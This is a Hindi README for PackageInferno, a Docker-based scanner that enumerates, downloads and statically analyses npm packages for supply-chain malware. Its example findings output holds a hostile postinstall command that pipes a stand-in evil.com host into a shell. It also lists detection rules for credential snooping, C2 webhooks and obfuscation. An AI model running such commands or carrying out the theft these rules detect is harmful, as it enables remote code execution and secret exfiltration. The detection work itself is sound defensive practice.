PackageInferno

PackageInferno Logo

बेहद सरल, Docker‑प्रथम npm आपूर्ति‑श्रृंखला स्कैनर। एक compose फ़ाइल चलाती है:

Enumerator → पैकेजों की कतार बनाता है
Fetcher → tarballs डाउनलोड करता है (और वैकल्पिक रूप से S3 पर अपलोड करता है)
Analyzer → स्थैतिक विश्लेषण + वैकल्पिक YARA
Postgres → findings के लिए स्थानीय DB
Streamlit Dashboard → findings को http://localhost:8501 पर विज़ुअलाइज़ करें

यह केवल कंटेनर संस्करण है। प्रोजेक्ट को EC2, SQS और RDS का उपयोग करके स्केल करने के लिए बनाया जा सकता है। अधिकांश सेटअप टूलसेट में इसके लिए तैयार है।

आपको क्या मिलता है

Docker में एंड‑टू‑एंड पाइपलाइन (Docker के अलावा कोई होस्ट इंस्टॉल नहीं)
scan.yml के माध्यम से कॉन्फ़िगरेबल नियम (अनुमति सूची, सीमाएँ, YARA)
स्थानीय Postgres स्कीमा + स्कैन इतिहास (scan_runs) उपयोग के लिए तैयार
tarballs और findings के लिए वैकल्पिक S3 अपलोड (~/.aws के माध्यम से क्रेडेंशियल)
Streamlit डैशबोर्ड: खोज, ड्रिल‑डाउन और विश्लेषिकी

सामग्री

docker-compose.yml – सेवाएँ: db, enumerator, fetcher, analyzer, dashboard, init-db
enumerator/ – Node वर्कर जो NDJSON कतार बनाता है
fetcher/ – Node वर्कर जो tarballs डाउनलोड करता है (+ S3 पर अपलोड करता है यदि सक्षम हो)
analyzer/ – Python स्थैतिक विश्लेषक (+ वैकल्पिक इनलाइन YARA)
dashboard/ – Streamlit ऐप (पोर्ट 8501)
infra/migrations.sql – मुख्य DB स्कीमा (पैकेज, संस्करण, findings, स्कोर, इंडेक्स)
infra/20251106_scan_runs.sql – स्कैन इतिहास तालिका
scan.yml – विश्लेषण कॉन्फ़िगरेशन (नियम, स्कोरिंग, अनुमति सूची, YARA)
scripts/run_pipeline.sh – enumerate → fetch → analyze चलाएँ
scripts/init_db.sh – DB स्कीमा बूटस्ट्रैप करें
scripts/test_setup.sh – स्वचालित सेटअप सत्यापन
– विस्तृत स्कैनिंग रणनीतियाँ और उदाहरण

त्वरित आरंभ (स्थानीय)

पूर्वापेक्षाएँ: Compose v2 के साथ Docker Desktop (या इंजन)।

एक-पंक्ति स्थापना

curl -fsSL https://raw.githubusercontent.com/MHaggis/Package-Inferno/main/install.sh | bash

यह रिपो को ~/package-inferno में क्लोन करता है और आरंभ करने के लिए निर्देश देता है।

विकल्प A: पूर्व-निर्मित इमेज का उपयोग करें (सबसे तेज़)

GitHub Container Registry से पूर्व-निर्मित कंटेनर खींचें और चलाएँ:

# कॉन्फ़िग फ़ाइलों और स्क्रिप्ट के लिए रिपो क्लोन करें
git clone https://github.com/MHaggis/Package-Inferno.git
cd Package-Inferno

# पूर्व-निर्मित इमेज के साथ चलाएँ
docker compose -f docker-compose.ghcr.yml up -d db
./scripts/init_db.sh
SEEDS="lodash,express" docker compose -f docker-compose.ghcr.yml run --rm enumerator
docker compose -f docker-compose.ghcr.yml run --rm fetcher
docker compose -f docker-compose.ghcr.yml run --rm analyzer

उपलब्ध इमेज:

ghcr.io/mhaggis/package-inferno/enumerator:main
ghcr.io/mhaggis/package-inferno/fetcher:main
ghcr.io/mhaggis/package-inferno/analyzer:main

विकल्प B: स्रोत से बनाएँ

स्वचालित सेटअप सत्यापन

अपनी स्थापना को मान्य करने के लिए परीक्षण स्क्रिप्ट चलाएँ:

./scripts/test_setup.sh

यह:

✓ Docker और Docker Compose की जाँच करेगा
✓ डेटाबेस शुरू और प्रारंभ करेगा
✓ एक परीक्षण स्कैन (2 पैकेज) चलाएगा
✓ findings सही ढंग से संगृहीत हैं, इसकी पुष्टि करेगा

मैन्युअल सेटअप

Postgres शुरू करें और स्कीमा प्रारंभ करें:

docker compose up -d db
./scripts/init_db.sh

पाइपलाइन चलाएँ:

./scripts/run_pipeline.sh

डैशबोर्ड लॉन्च करें:

docker compose up -d dashboard
# http://localhost:8501 खोलें

findings ./out/findings/*.findings.json में और findings तालिका में (जब DB सक्षम हो) संग्रहीत होती हैं।

स्कैनिंग मोड

PackageInferno आपके लक्ष्यों के आधार पर कई स्कैनिंग रणनीतियों का समर्थन करता है:

1. विशिष्ट पैकेज स्कैन करें (परीक्षण के लिए अनुशंसित)

उन पैकेजों को लक्षित करें जिनका आप विश्लेषण करना चाहते हैं:

# सीड्स के साथ एकल कमांड
export SEEDS="lodash,express,axios"
./scripts/run_pipeline.sh

# या फ़ाइल से
echo -e "react\nvue\nangular" > packages.txt
export SEEDS_FILE=packages.txt
./scripts/run_pipeline.sh

मैंने प्रारंभिक परीक्षण कैसे किया: त्वरित सत्यापन के लिए SEEDS="is-odd,is-even" का उपयोग किया।

2. npm रजिस्ट्री से स्कैन करें (`_all_docs`)

npm की रजिस्ट्री से पेजिनेटेड पैकेज स्कैन करें:

# पिछली रन साफ़ करें
rm -rf downloads/* out/*

# 2 पेज प्रत्येक में 10 पैकेज स्कैन करें (20 पैकेज)
export MAX_CHUNKS=2        # पेजों की संख्या
export CHUNK_LIMIT=10      # प्रति पेज पैकेज
unset SEEDS                # महत्वपूर्ण: सीड्स मोड अक्षम करें

# बेहतर दृश्यता के लिए व्यक्तिगत चरण चलाएँ
docker compose run --rm enumerator  # खोजें और कतारबद्ध करें
docker compose run --rm fetcher     # tarballs डाउनलोड करें
docker compose run --rm analyzer    # खतरों के लिए स्कैन करें

उदाहरण आउटपुट:

config: chunkLimit=10, maxChunks=2
checking recent changes feed...
changes feed: enqueued 2 new versions
enumerating via _all_docs (fresh scan)
page 1/2 count: 10
page 2/2 count: 10
done, enqueued 22 (22 new versions)

3. सतत निगरानी (असीमित स्कैन)

संपूर्ण npm रजिस्ट्री स्कैन करें:

export MAX_CHUNKS=0        # 0 = असीमित
export CHUNK_LIMIT=100     # दक्षता के लिए बड़े बैच
./scripts/run_pipeline.sh

चेतावनी: यह घंटों/दिनों तक चलेगा और सैकड़ों हजारों पैकेज स्कैन करेगा। डिस्क स्थान और डेटाबेस आकार की निगरानी करें।

4. बाधित स्कैन फिर से शुरू करें

Enumerator ./out/enumerator_state.json में कर्सर स्थिति के साथ स्थिति सहेजता है:

{
  "last_seq": "0",
  "last_startkey": "package-name",
  "last_run": "2025-11-23T19:24:49.123Z",
  "last_processed": 22,
  "last_new": 22
}

बस पाइपलाइन को फिर से चलाएँ और यह अंतिम कर्सर से फिर से शुरू होगी:

./scripts/run_pipeline.sh  # स्वचालित रूप से फिर से शुरू होता है

नए सिरे से स्कैन करने के लिए:

rm -f out/enumerator_state.json
./scripts/run_pipeline.sh

उदाहरण स्कैन परिणाम

22 पैकेजों के 2-पेज स्कैन से, PackageInferno ने यह पाया:

-- स्कोर के अनुसार शीर्ष संदिग्ध पैकेज
SELECT p.name, s.score, s.label, COUNT(f.id) as findings 
FROM packages p 
JOIN versions v ON p.id = v.package_id 
JOIN scores s ON v.id = s.version_id 
LEFT JOIN findings f ON v.id = f.version_id 
GROUP BY p.name, s.score, s.label 
ORDER BY s.score DESC;

-- परिणाम:
   name                | score | label      | findings
-----------------------+-------+------------+----------
 rendition             | 606   | malicious  | 153
 vs-deploy             | 454   | malicious  | 119
 --123hoodmane-pyodide | 213   | malicious  | 46

rendition इतना संदिग्ध क्यों था?

57 × url_outside_allowlist - अनुमति सूची में नहीं डोमेन
46 × suspicious_pattern - शेल/eval पैटर्न
12 × advanced_obfuscation - हेक्स एन्कोडिंग, XOR, स्ट्रिंग ऐरे
6 × big_base64_blob - बड़े एन्कोडेड पेलोड
18 × url_in_code - एम्बेडेड URLs

स्कोरिंग सिस्टम (scan.yml में कॉन्फ़िगर किया गया) इन findings को एकत्रित करके एक जोखिम स्कोर और लेबल (clean, suspicious, या malicious) उत्पन्न करता है।

परिणामों की खोज

डैशबोर्ड के माध्यम से (अनुशंसित)

docker compose up -d dashboard चलाने के बाद http://localhost:8501 खोलें

विशेषताएँ:

📊 Overview टैब: सारांश आँकड़े, स्कोर वितरण चार्ट
🔍 Search टैब: नाम से पैकेज खोजें, जोखिम लेबल द्वारा फ़िल्टर करें
⚠️ High Risk टैब: ड्रिल-डाउन के साथ शीर्ष दुर्भावनापूर्ण पैकेज
🎯 C2 Analysis: ज्ञात एक्सफ़िल्ट्रेशन एंडपॉइंट वाले पैकेज
📈 Analytics टैब: रुझान, सामान्य नियम, कालिक विश्लेषण

डेटाबेस क्वेरी के माध्यम से

कस्टम विश्लेषण के लिए प्रत्यक्ष SQL पहुँच:

# डेटाबेस से जुड़ें
docker exec -it pi-postgres psql -U piuser -d packageinferno

उपयोगी क्वेरी:

-- क्रेडेंशियल चोरी के प्रयासों वाले पैकेज
SELECT DISTINCT p.name, v.version, s.score
FROM packages p
JOIN versions v ON p.id = v.package_id
JOIN findings f ON v.id = f.version_id
JOIN scores s ON v.id = s.version_id
WHERE f.rule = 'env_snoop'
ORDER BY s.score DESC;

-- सभी मिले C2/वेबहुक गंतव्य
SELECT p.name, f.details->>'endpoints' as c2_endpoints
FROM packages p
JOIN versions v ON p.id = v.package_id
JOIN findings f ON v.id = f.version_id
WHERE f.rule = 'c2_webhook';

-- टाइपोस्क्वाटिंग प्रयास
SELECT 
  p.name,
  f.details->>'target_package' as impersonating,
  f.details->>'similarity' as similarity_pct,
  f.details->>'typosquat_type' as attack_type
FROM packages p
JOIN versions v ON p.id = v.package_id
JOIN findings f ON v.id = f.version_id
WHERE f.rule = 'typosquat_detected'
ORDER BY (f.details->>'similarity')::float DESC;

-- नेटिव बाइनरी वाले पैकेज
SELECT p.name, f.details->>'path' as binary_path
FROM packages p
JOIN versions v ON p.id = v.package_id
JOIN findings f ON v.id = f.version_id
WHERE f.rule = 'native_binary_present';

JSON फ़ाइलों के माध्यम से

findings ./out/findings/ में संरचित JSON के रूप में भी सहेजे जाते हैं:

# किसी विशिष्ट पैकेज के findings देखें
cat out/findings/[email protected] | jq .

# गंभीरता के अनुसार findings गिनें
jq -r '.findings[].severity' out/findings/*.findings.json | sort | uniq -c

# सभी मिले C2 URLs निकालें
jq -r '.findings[] | select(.rule=="c2_webhook") | .details.full_urls[]' out/findings/*.findings.json

वैकल्पिक: S3 एकीकरण (tarballs + findings)

यदि आप S3 में artifacts चाहते हैं:

बकेट बनाएँ (अपने नाम चुनें):
- package-inferno-tarballs (कच्चे npm tarballs)
- package-inferno-findings (विश्लेषक आउटपुट)
सुनिश्चित करें कि आपके ~/.aws में मान्य क्रेडेंशियल हैं (प्रोफ़ाइल या पर्यावरण आधारित)।
पाइपलाइन चलाने से पहले env वेरिएबल निर्यात करें:

export AWS_REGION=us-west-2
export S3_TARBALLS=package-inferno-tarballs
export S3_FINDINGS=package-inferno-findings
export AWS_PROFILE=default   # वैकल्पिक; या env क्रेडेंशियल पर निर्भर रहें

compose ~/.aws को fetcher और analyzer में माउंट करता है। यदि LOCAL_ONLY=false है, तो fetcher tarballs को S3_TARBALLS पर अपलोड करता है। यदि S3_FINDINGS सेट है, तो analyzer स्थानीय रूप से लिखने के बाद findings JSON अपलोड करता है।

न्यूनतम IAM नीति उदाहरण (जिस उपयोगकर्ता/रोल का आप उपयोग कर रहे हैं, उससे संलग्न करें):

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "S3Access",
      "Effect": "Allow",
      "Action": ["s3:PutObject","s3:GetObject","s3:ListBucket"],
      "Resource": [
        "arn:aws:s3:::package-inferno-tarballs",
        "arn:aws:s3:::package-inferno-tarballs/*",
        "arn:aws:s3:::package-inferno-findings",
        "arn:aws:s3:::package-inferno-findings/*"
      ]
    }
  ]
}

कॉन्फ़िगरेशन

मुख्य नॉब्स scan.yml में हैं। मुख्य बातें:

analysis.allow_domains – वे डोमेन जो “outside allowlist” नहीं उठाएँगे
analysis.allowlist.build_tools – हानिरहित बिल्ड चरणों के लिए regex
analysis.yara.* – इनलाइन YARA सक्षम करें (डिफ़ॉल्ट चालू), नियम पथ, आकार/समय सीमाएँ
scoring.rule_weights और scoring.thresholds – “suspicious/malicious” ट्यून करें

कंटेनर पर्यावरण जो आप सेट कर सकते हैं:

Enumerator:
- DAYS (डिफ़ॉल्ट 30), CHUNK_LIMIT (डिफ़ॉल्ट 100), MAX_CHUNKS (डिफ़ॉल्ट 5)
- SEEDS, SEEDS_FILE – सीड पैकेज नाम
- LOCAL_ONLY=true (फ़ाइल में कतार), डिडुप्लिकेशन के लिए DB_URL
Fetcher:
- LOCAL_ONLY=false S3 पर tarballs अपलोड करने के लिए
- S3_TARBALLS, AWS_REGION, AWS_PROFILE
Analyzer:
- MAX_EXTRACT_BYTES=0 असीमित निष्कर्षण के लिए
- S3_FINDINGS,

स्थानीय compose के लिए DB URL पहले से तैयार है:

postgres://piuser:pipass@db:5432/packageinferno

यह कैसे काम करता है (प्रवाह)

Enumerator npm रजिस्ट्री को हिट करता है और ./out/fetch_queue.ndjson में एक NDJSON कतार लिखता है (और DB में “queued” संस्करणों को अपसेर्ट कर सकता है)।
Fetcher कतार पढ़ता है, tarballs को ./downloads में डाउनलोड करता है, और यदि कॉन्फ़िगर किया गया हो तो S3 पर अपलोड करता है।
Analyzer tarballs को अनुमान + वैकल्पिक YARA से स्कैन करता है और संरचित findings JSON को ./out/findings में लिखता है। यदि DB कॉन्फ़िगर किया गया है, तो यह findings और स्कोर को अपसेर्ट करता है।
Dashboard स्थानीय DB से क्वेरी करता है ताकि आँकड़े देख सके, पैकेज खोज सके, और विवरण में जा सके।

घटक विवरण

Enumerator (`enumerator/src/enumerator.js`)

उद्देश्य: स्कैन करने के लिए npm पैकेज खोजता है और कार्य कतार बनाता है।

यह क्या करता है:

npm की रजिस्ट्री और प्रतिकृति फ़ीड से पैकेज मेटाडेटा खींचता है
कई मोड का समर्थन करता है:
- सीड्स मोड: SEEDS env var या SEEDS_FILE के माध्यम से विशिष्ट पैकेज स्कैन करें
- परिवर्तन फ़ीड: हालिया अपडेट के लिए _changes एंडपॉइंट की निगरानी करें
- पूर्ण स्कैन: _all_docs एंडपॉइंट के माध्यम से पेजिनेट करें (पुनरारंभ करने योग्य कर्सर के साथ)
विश्लेषण किए गए संस्करणों को पुनः स्कैन करने से बचने के लिए DB के विरुद्ध डिडुप्लिकेट करता है
आउटपुट NDJSON कतार को ./out/fetch_queue.ndjson या SQS में भेजता है

मुख्य पर्यावरण चर:

SEEDS="pkg1,pkg2" – स्कैन करने के लिए अल्पविराम से अलग किए गए पैकेज नाम
SEEDS_FILE – प्रति पंक्ति एक पैकेज के साथ टेक्स्ट फ़ाइल का पथ
MAX_CHUNKS=5 – पेजिनेशन सीमित करें (0 = असीमित)
CHUNK_LIMIT=100 – प्रति API पेज पैकेज
DB_URL – डिडुप्लिकेशन के लिए पोस्टग्रेस कनेक्शन

उदाहरण उपयोग:

# विशिष्ट पैकेज स्कैन करें
export SEEDS="lodash,express,axios"
docker compose run --rm enumerator

# फ़ाइल से स्कैन करें
echo -e "react\nvue\nangular" > packages.txt
export SEEDS_FILE=packages.txt
docker compose run --rm enumerator

Fetcher (`fetcher/src/fetcher.js`)

उद्देश्य: रजिस्ट्री से npm tarballs डाउनलोड करता है।

यह क्या करता है:

कतार को ./out/fetch_queue.ndjson (या SQS) से पढ़ता है
पुनर्प्रयास तर्क और बैकऑफ़ के साथ tarballs डाउनलोड करता है
SHA1 चेकसम सत्यापित करता है (मिसमैच पर चेतावनी)
./downloads/ में [email protected] के रूप में सहेजता है
वैकल्पिक रूप से S3 बकेट (S3_TARBALLS) पर अपलोड करता है
पूर्ण किए गए कार्यों को विश्लेषक कतार (SQS मोड) में अग्रेषित करता है

मुख्य पर्यावरण चर:

LOCAL_ONLY=true – S3 अपलोड छोड़ें (केवल-स्थानीय मोड)
S3_TARBALLS – tarball भंडारण के लिए S3 बकेट नाम
DOWNLOAD_DIR=./downloads – स्थानीय आउटपुट निर्देशिका
MAX_RETRIES=5 – HTTP पुनर्प्रयास प्रयास

S3 कुंजी प्रारूप: npm-raw-tarballs/{name}/{version}.tgz

Analyzer (`analyzer/src/analyzer.py`)

उद्देश्य: स्थैतिक विश्लेषण इंजन जो पैकेजों में दुर्भावनापूर्ण पैटर्न का पता लगाता है।

यह क्या करता है:

सुरक्षा जाँच (पथ ट्रैवर्सल, आकार सीमा) के साथ tarballs निकालता है
मेटाडेटा और जीवनचक्र हुक के लिए package.json पार्स करता है
संदिग्ध पैटर्न के लिए सभी फ़ाइलों को स्कैन करता है:
- जीवनचक्र हुक: इंस्टॉल स्क्रिप्ट में शेल स्पॉन, डाउनलोडर
- नेटवर्क गतिविधि: HTTP क्लाइंट, C2 वेबहुक (Discord, Telegram, आदि)
- अस्पष्टता: उच्च एंट्रॉपी, base64 ब्लॉब, हेक्स एन्कोडिंग, XOR
- क्रेडेंशियल चोरी: पर्यावरण चरों तक पहुँच, संवेदनशील पथों पर FS लेखन
- टाइपोस्क्वाटिंग: लेवेनशेटिन दूरी + यूनिकोड प्रतिस्थापन जाँच
- फ़िशिंग: नकली CAPTCHA, क्रेडेंशियल फॉर्म, iframe एम्बेड
- बाइनरी: नेटिव निष्पादन योग्य, WASM, पूर्व-निर्मित फेचर
यदि सक्षम हो तो YARA नियम (YARA-Forge से डाउनलोड किए गए) चलाता है
scan.yml से भारित नियमों का उपयोग करके findings को स्कोर करता है
संरचित JSON को ./out/findings/ में लिखता है और DB में अपसेर्ट करता है

पहचान नियम (पूरी सूची के लिए analyzer/src/analyzer.py देखें):

lifecycle_script – जोखिमपूर्ण install/postinstall हुक
url_outside_allowlist – गैर-अनुमत डोमेन के लिए नेटवर्क कॉल
c2_webhook – ज्ञात एक्सफ़िल एंडपॉइंट (Discord, Slack, Telegram)
env_snoop – AWS कुंजियों, टोकन, पासवर्ड तक पहुँच
writes_outside_pkg – FS .ssh, .npmrc, सिस्टम निर्देशिकाओं में लिखता है
typosquat_detected – पैकेज नाम लोकप्रिय पैकेजों के समान
advanced_obfuscation – हेक्स, XOR, स्ट्रिंग ऐरे, नियंत्रण प्रवाह समतलन
yara_match – YARA नियम हिट (मैलवेयर, एक्सप्लॉइट, वेबशेल)
phishing_form – क्रेडेंशियल हार्वेस्टिंग फॉर्म
native_binary_present – PE/ELF/Mach-O निष्पादन योग्य

मुख्य पर्यावरण चर:

MAX_EXTRACT_BYTES=0 – निष्कर्षण आकार सीमा (0 = असीमित)
SCAN_YML=/app/scan.yml – कॉन्फ़िग फ़ाइल का पथ
DB_URL – findings भंडारण के लिए पोस्टग्रेस कनेक्शन
S3_FINDINGS – findings अपलोड के लिए S3 बकेट

आउटपुट प्रारूप (*.findings.json):

{
  "tgz": "/downloads/[email protected]",
  "findings": [
    {
      "rule": "lifecycle_script",
      "severity": "high",
      "details": {
        "key": "postinstall",
        "value": "curl https://evil.com | sh",
        "tags": ["shell_spawn", "downloader"],
        "explanation": "High-risk postinstall hook: shell_spawn, downloader"
      }
    }
  ]
}

विश्लेषक को अनुकूलित करना

नए पहचान नियम जोड़ना

1. पैटर्न-आधारित पहचान (analyzer/src/analyzer.py में जोड़ें):

# रेगेक्स पैटर्न परिभाषित करें
CUSTOM_PATTERN_RE = re.compile(rb'dangerous-function\s*\(', re.I)

# analyze_file_bytes() फ़ंक्शन में जोड़ें
def analyze_file_bytes(path: Path, b: bytes, allow_domains: list[str]):
    # ... मौजूदा कोड ...
    
    # आपकी कस्टम जाँच
    if CUSTOM_PATTERN_RE.search(b):
        out.append({
            'rule': 'custom_dangerous_function',
            'severity': 'high',
            'details': {
                'path': str(path),
                'explanation': 'Detected dangerous-function call'
            }
        })
    
    return out

2. स्कोरिंग भार जोड़ें (scan.yml):

scoring:
  rule_weights:
    custom_dangerous_function: 6  # आपका नया नियम
    # ... मौजूदा नियम ...
  thresholds:
    suspicious: 7
    malicious: 12

3. स्कोरिंग फ़ंक्शन अपडेट करें (analyzer/src/analyzer.py):

def score_findings(findings, scoring):
    weights = scoring.get('rule_weights', {})
    score = 0
    for f in findings:
        rule = f['rule']
        w = 0
        # ... मौजूदा नियम ...
        elif rule == 'custom_dangerous_function':
            w = weights.get('custom_dangerous_function', 6)
        score += int(w)
    # ... शेष फ़ंक्शन ...

कस्टम YARA नियम जोड़ना

1. कस्टम नियम फ़ाइल बनाएँ (yara-rules/custom.yar):

rule CustomMalware {
    meta:
        description = "Detects custom threat pattern"
        severity = "high"
    strings:
        $s1 = "malicious_string" ascii
        $s2 = /evil_regex_[0-9]{4}/
    condition:
        any of them
}

2. scan.yml अपडेट करें:

analysis:
  yara:
    enabled: true
    rules_path: yara-rules/custom.yar  # अपने नियमों की ओर इंगित करें
    max_file_size_mb: 10
    timeout_seconds: 30

3. docker-compose.yml में कस्टम नियम माउंट करें:

analyzer:
  volumes:
    - ./yara-rules:/app/yara-rules:ro

डोमेन अनुमति सूची

झूठी सकारात्मकता कम करने के लिए scan.yml में विश्वसनीय डोमेन जोड़ें:

analysis:
  allow_domains:
    - registry.npmjs.org
    - github.com
    - your-cdn.com  # अपना डोमेन जोड़ें

हानिरहित बिल्ड टूल्स

वैध बिल्ड कमांड को अनुमति सूचीबद्ध करें:

analysis:
  allowlist:
    build_tools:
      - \bmy-custom-build-tool\b
      - \bmake\s+clean\b

समस्या निवारण

“Database connection failed”: सुनिश्चित करें कि docker compose up -d db चल रहा है, फिर ./scripts/init_db.sh को पुनः चलाएँ।
S3 पर पुश करते समय “AccessDenied”: ~/.aws/credentials, AWS_REGION, और बकेट नीति/अनुमतियाँ सत्यापित करें।
YARA टाइमआउट: scan.yml में फ़ाइल आकार सीमाएँ कम करें या इनलाइन YARA अक्षम करें (analysis.yara.enabled: false)।
npm से दर-सीमाएँ: पाइपलाइन बैकऑफ़ के साथ पुनर्प्रयास करती है और एक UA सेट करती है; आप CHUNK_LIMIT कम कर सकते हैं या धीरे-धीरे MAX_CHUNKS बढ़ा सकते हैं।

विशिष्ट सीड्स (बीज)	ज्ञात पैकेजों का परीक्षण/जांच	सबसे तेज़	लक्षित	`SEEDS="pkg1,pkg2"`
छोटा बैच	सेटअप मान्य करें, नमूना स्कैन	तेज़	10-100 पैकेज	`MAX_CHUNKS=2 CHUNK_LIMIT=10`
पूर्ण रजिस्ट्री	व्यापक आपूर्ति श्रृंखला ऑडिट	घंटे-दिन	2M+ पैकेज	`MAX_CHUNKS=0 CHUNK_LIMIT=100`
परिवर्तन फ़ीड	नए रिलीज़ की निगरानी (स्वचालित रूप से शामिल)	रीयल-टाइम	हालिया अपडेट	अंतर्निहित

Package-Inferno

सबसे लोकप्रिय

PackageInferno

आपको क्या मिलता है

सामग्री

त्वरित आरंभ (स्थानीय)

एक-पंक्ति स्थापना

विकल्प A: पूर्व-निर्मित इमेज का उपयोग करें (सबसे तेज़)

विकल्प B: स्रोत से बनाएँ

स्वचालित सेटअप सत्यापन

मैन्युअल सेटअप

स्कैनिंग मोड

1. विशिष्ट पैकेज स्कैन करें (परीक्षण के लिए अनुशंसित)

2. npm रजिस्ट्री से स्कैन करें (_all_docs)

3. सतत निगरानी (असीमित स्कैन)

4. बाधित स्कैन फिर से शुरू करें

उदाहरण स्कैन परिणाम

परिणामों की खोज

डैशबोर्ड के माध्यम से (अनुशंसित)

डेटाबेस क्वेरी के माध्यम से

JSON फ़ाइलों के माध्यम से

वैकल्पिक: S3 एकीकरण (tarballs + findings)

कॉन्फ़िगरेशन

यह कैसे काम करता है (प्रवाह)

घटक विवरण

Enumerator (enumerator/src/enumerator.js)

Fetcher (fetcher/src/fetcher.js)

Analyzer (analyzer/src/analyzer.py)

विश्लेषक को अनुकूलित करना

नए पहचान नियम जोड़ना

कस्टम YARA नियम जोड़ना

डोमेन अनुमति सूची

हानिरहित बिल्ड टूल्स

समस्या निवारण

2. npm रजिस्ट्री से स्कैन करें (`_all_docs`)

Enumerator (`enumerator/src/enumerator.js`)

Fetcher (`fetcher/src/fetcher.js`)

Analyzer (`analyzer/src/analyzer.py`)